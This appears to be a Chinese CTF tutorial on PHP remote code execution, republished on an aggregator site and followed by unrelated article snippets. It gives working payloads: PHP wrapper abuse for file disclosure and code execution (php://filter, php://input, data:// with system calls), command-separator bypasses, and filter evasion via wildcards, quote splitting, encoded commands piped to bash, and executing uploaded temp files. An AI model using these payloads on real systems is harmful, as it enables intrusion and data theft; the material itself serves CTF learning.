CTF php RCE(二)

0x04 php伪协议

这种我们是先看到了include才会想到,利用伪协议来外带文件内容,但是有些同学会问,我们怎么知道文件名是哪个,哪个文件名才是正确的,那么这里我们就得靠猜了

include函数

在这里插入图片描述

因为 include 是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。
include 函数用于包含指定文件(通常是 PHP 脚本文件)的内容,使得被包含的文件中的所有 PHP 代码在当前脚本中执行。

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。 如果在
include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则
include 结构会发出一条 E_WARNING ;这一点和 require 不同,后者会发出一个 E_ERROR 。

所以我们需要文件路径来推进文件包含flag,得到内容

file://

allow_url_fopen :off/on
allow_url_include:off/on
但是需要知道文件路径,我基本是没用过

file://D:/soft/phpStudy/WWW/phpcode.txt

php://

这里说几种常用的伪协议命令

php://filter
allow_url_fopen :off/on
allow_url_include:off/onbase64
php://filter/read=convert.base64-encode/resource=flag.php
rot13
php://filter/string.rot13/resource=flag.php
php://input     接受原始POST输入流进行命令执行
allow_url_fopen :off/on
allow_url_include:onPOST:
<?= phpinfo();?> 执行成功

data://

data://text/plain,<?= system("cat fl*");?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+         这里同理也可以写rot13等其他编码

zip://

我没用过,用了之后补上

phar://

这个也是

0x05 >/dev/null 绕过

这个东西为什么单独拎出来,完全是我想而已
众所周知2>&1是一个重定向写法,bash弹shell经常使用,但是在命令执行函数中他可以用来使得命令执行结果被转入>/dev/null文件路径中

重定向(Redirect)是指将一个命令的输入或输出流从默认的位置改变到另一个位置或设备上的操作。

标准输入(STDIN,文件描述符为0):通常用于接收输入数据。
标准输出(STDOUT,文件描述符为1):通常用于输出正常的程序输出。
标准错误(STDERR,文件描述符为2):通常用于输出错误消息和其他诊断信息。

这部分是将标准错误(STDERR)重定向到标准输出(STDOUT)

>/dev/null:这部分是一种重定向输出的方法。/dev/null 是一个特殊的设备文件,在 Unix/Linux 系统中,它是一个空设备,写入到它的内容都会被丢弃,不会保存到任何地方。

诶那么绕过方法其实也非常简单

;     用于分隔多个命令
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行
%0a	  换行符
system($c." >/dev/null 2>&1");
当我们输入;时候
直接就变成了system(ls; >/dev/null 2>&1);
如果ls有效那么就会成功执行并且有回显,其他同理

0x06 字符串过滤

字符串过滤这个是非常常见的我们每次看任何的比赛吧,正常的都会把flag给禁了那么我们就围绕这个来说说常用的姿势

通配符 *

这个是最常用也是最好用的

功能: 匹配零个或多个字符。
示例:
*.txt:匹配所有以 .txt 结尾的文件。
file*:匹配所有以 file 开头的文件或目录。

f*就能代表flag如果只有一个f开头的文件

通配符 ?

功能: 匹配任意单个字符。
示例:
?.txt:匹配所有由一个字符加上 .txt 后缀的文件,比如 a.txt、1.txt、x.txt 等等。

比如fla?.php 而且有时候如果过滤忘记过滤P的话还有姿势,例子

<?phpif(isset($_GET['cmd'])){$cmd=$_GET['cmd'];highlight_file(__FILE__);if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){die("cerror");}if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){die("serror");}eval($cmd);}?>

本题过滤少了p

php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是php**.tmp访问/tmp/phpxxxxxx来读取文件
linux .(点命令):读取并且在当前的shell中执行文件中的命令
这里用p师傅的话讲的话,.file是用bash来执行file文件中的命令,而且这种操作是不需要file有x权限

payload

GET:
?cmd=?><?=`.+/??p/p?p??????`;
POST:
#! /bin/bash           //指定为脚本cat /flag.txt
前面也说到了我们是利用bash

其他

fl""ag
fla''g
fla\g

通配符 [ ]

在正则表达式中,[ ] 表示一个字符类(character class),用于指定一个字符集合,可以匹配其中任意一个字符

[9-q]
[9-q] 表示匹配一个字符,该字符的范围是从 9 到 q 之间的任何字符。

在这里插入图片描述

管道符

echo "Y2F0IGZsYWc=" | base64 -d|bash
| base64 -d:管道符 | 将 echo 命令的输出传递给 base64 -d 命令。base64 -d 表示对输入进行 Base64 解码。
| bash:再次使用管道符 |,将解码后的结果作为 Bash 命令执行。

在这里插入图片描述

切片环境变量

${PATH:x:y}
将环境变量PATH的某个字母才从第x个字符开始切片y个字符

在这里插入图片描述

拼接

a=c;b=at;c=flag;$a$b $c

进制转换

利用管道符
这东西我记得有但是我成功不了,欠着先

16进制
echo "0x63617420666c6167" | xxd -r -p | bash
8进制
echo "cat flag" | od -An -t o1
printf "\143\141\164\040\146\154\141\147\012" | bash

在这里插入图片描述

特殊变量

$1
$2

借用师傅的图
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/372924.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++笔试强训3

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、选择题1-5题6-10题 二、编程题题目一题目二 一、选择题 1-5题 如图所示&#xff0c;如图所示p-3指向的元素是6&#xff0c;printf里面的是%s&#xff0c;从6开…

Python入门 2024/7/8

目录 数据容器 dict(字典&#xff0c;映射) 语法 定义字典字面量 定义字典变量 定义空字典 从字典中基于key获取value 字典的嵌套 字典的常用操作 新增元素 更新元素 删除元素 清空字典 获取全部的key 遍历字典 统计字典内的元素数量 练习 数据容器的通用操作…

SQLite 命令行客户端 + Windows 批处理应用

SQLite 命令行客户端 Windows 批处理应用 下载 SQLite 客户端1. Bat 辅助脚本1. 执行SQL.bat执行 2. 导出Excel.bat执行效果 3. 导出HTML.bat执行效果 4. 清空-订单表.bat5. 订单表.bat 2. 测试 SQL1. 创建订单表.sql2. 插入订单表.sql3. 查询订单表.sql4. 清空订单表.sql5. 删…

Sentinel-1 Level 1数据处理的详细算法定义(二)

《Sentinel-1 Level 1数据处理的详细算法定义》文档定义和描述了Sentinel-1实现的Level 1处理算法和方程&#xff0c;以便生成Level 1产品。这些算法适用于Sentinel-1的Stripmap、Interferometric Wide-swath (IW)、Extra-wide-swath (EW)和Wave模式。 今天介绍的内容如下&…

Vuforia AR篇(八)— AR塔防上篇

目录 前言一、设置Vuforia AR环境1. 添加AR Camera2. 设置目标图像 二、创建塔防游戏基础1. 导入素材2. 搭建场景3. 创建敌人4. 创建脚本 前言 在增强现实&#xff08;AR&#xff09;技术快速发展的今天&#xff0c;Vuforia作为一个强大的AR开发平台&#xff0c;为开发者提供了…

前端图表库G2快速上手

文档地址&#xff1a; https://g2-v3.antv.vision/zh/docs/manual/getting-started/ https://g2.antv.antgroup.com/ 安装&#xff1a; pnpm i antv/g2在vue3中使用&#xff1a; <script setup> import {Chart} from antv/g2; import {onMounted} from "vue"…

python_zabbix

zabbix官网地址&#xff1a;19. API19. APIhttps://www.zabbix.com/documentation/4.2/zh/manual/api 每个版本可以有些差异&#xff0c;选择目前的版本在查看对于的api接口#token接口代码 import requests apiurl "http://zabbix地址/api_jsonrpc.php" data {&quo…

五、保存数据到Excel、sqlite(爬虫及数据可视化)

五、保存数据到Excel、sqlite&#xff08;爬虫及数据可视化&#xff09; 1&#xff0c;保存数据到excel1.1 保存九九乘法表到excel&#xff08;1&#xff09;代码testXwlt.py&#xff08;2&#xff09;excel保存结果 1.2 爬取电影详情并保存到excel&#xff08;1&#xff09;代…

苍穹外卖--启用和禁用员工

实现 package com.sky.controller.admin;import com.sky.constant.JwtClaimsConstant; import com.sky.dto.EmployeeDTO; import com.sky.dto.EmployeeLoginDTO; import com.sky.dto.EmployeePageQueryDTO; import com.sky.entity.Employee; import com.sky.properties.JwtPro…

使用Python绘制直方图并分析数据

使用Python绘制直方图并分析数据 在这篇博客中&#xff0c;我们将探讨如何使用Python中的pandas库和matplotlib库来绘制直方图&#xff0c;并分析数据文件中的内容。直方图是一种常用的图表类型&#xff0c;用于展示数据的分布情况。 代码示例 以下是一个完整的代码示例&a…

【2】A-Frame核心设计

一、基于HTML和Primitives的表达 1.HTML - 超文本标记语言 A-Frame 基于 HTML 和 DOM 之上&#xff0c;使用自定义元素的 polyfill。 HTML 是 Web 的构建块&#xff0c;提供了最易于访问的计算语言之一。无需安装或构建步骤&#xff0c;使用 HTML 创建仅涉及 HTML 文件中的文…

无人机之穿越机注意事项篇

一、检查设备 每次飞行前都要仔细检查穿越机的每个部件&#xff0c;确保所有功能正常&#xff0c;特别是电池和电机。 二、遵守法律 了解并遵循你所在地区关于无人机的飞行规定&#xff0c;避免非法飞行。 三、评估环境 在飞行前检查周围环境&#xff0c;确保没有障碍物和…

182440-00SF 同轴连接器

型号简介 182440-00SF是Southwest Microwave的一款连接器。该连接器采用 BeCu UNqS C17300 材料&#xff0c;并进行了镀金处理&#xff0c;以确保良好的导电性和耐腐蚀性&#xff1b;螺纹采用符合 ASTM A2582 标准的钢制合金&#xff0c;并进行磷酸盐钝化处理&#xff0c;以提高…

Labview_压缩文件

调用顺序 源文件 生成后的文件 1.新建ZIP文件 生成ZIP文件的路径&#xff1a;为最终生成ZIP文件的路径&#xff0c;需要提供ZIP文件的名称和类型 2.添加文件到压缩文件 源文件路径&#xff1a;为需要压缩的文件路径&#xff0c;非文件夹路径 生成ZIP文件时的路径&#x…

Git错误分析

错误案例1&#xff1a; 原因&#xff1a;TortoiseGit多次安装导致&#xff0c;会记录首次安装路径&#xff0c;若安装路径改变&#xff0c;需要配置最后安装的路径。

《RWKV》论文笔记

原文出处 [2305.13048] RWKV: Reinventing RNNs for the Transformer Era (arxiv.org) 原文笔记 What RWKV(RawKuv):Reinventing RNNs for the Transformer Era 本文贡献如下&#xff1a; 提出了 RWKV 网络架构&#xff0c;结合了RNNS 和Transformer 的优点&#xff0c;同…

触摸屏虚拟键盘组件 jQuery Virtual Keyboard使用 自定义键盘

如何在触摸设备上为输入域添加虚拟键盘&#xff1f; 一个插件可以解决这个问题&#xff0c;关键还支持高度自定义&#xff08;git地址&#xff09;&#xff1a; GitHub - Mottie/Keyboard: Virtual Keyboard using jQuery ~ 官网地址&#xff1a;Virtual Keyboard 使用步骤&…

Node.js 生成vue组件

在项目根目录下创建 create.js /*** 脚本生成vue组件* 主要是利用node自带的fs模块操作文件的写入* ===========================================* 准备步骤:* 1.输入作者名* 2.输入文件名* 3.输入菜单名* 4.输入文件地址* ============================================* 操…

【技术追踪】DiffuMatting:使用抠图级别注释合成任意对象(ECCV-2024)

万物生&#xff1a;Diffusion与绿幕抠图&#xff0c;影视领域的福音~ 论文&#xff1a;DiffuMatting: Synthesizing Arbitrary Objects with Matting-level Annotation 代码&#xff1a;https://github.com/HUuxiaobin/DiffuMatting &#xff08;即将开源&#xff09; 0、摘要 …

springboot煤炉网站代切系统-计算机毕业设计源码06656

目 录 摘要 1 绪论 1.1 课题目的与意义 1.2国内外研究现状 1.3论文结构与章节安排 1.4 Springboot框架介绍 2 Springboot煤炉网站代切系统系统分析 2.1 可行性分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 操作可行性分析 2.2 系统功能分析 2.2.1 功能性…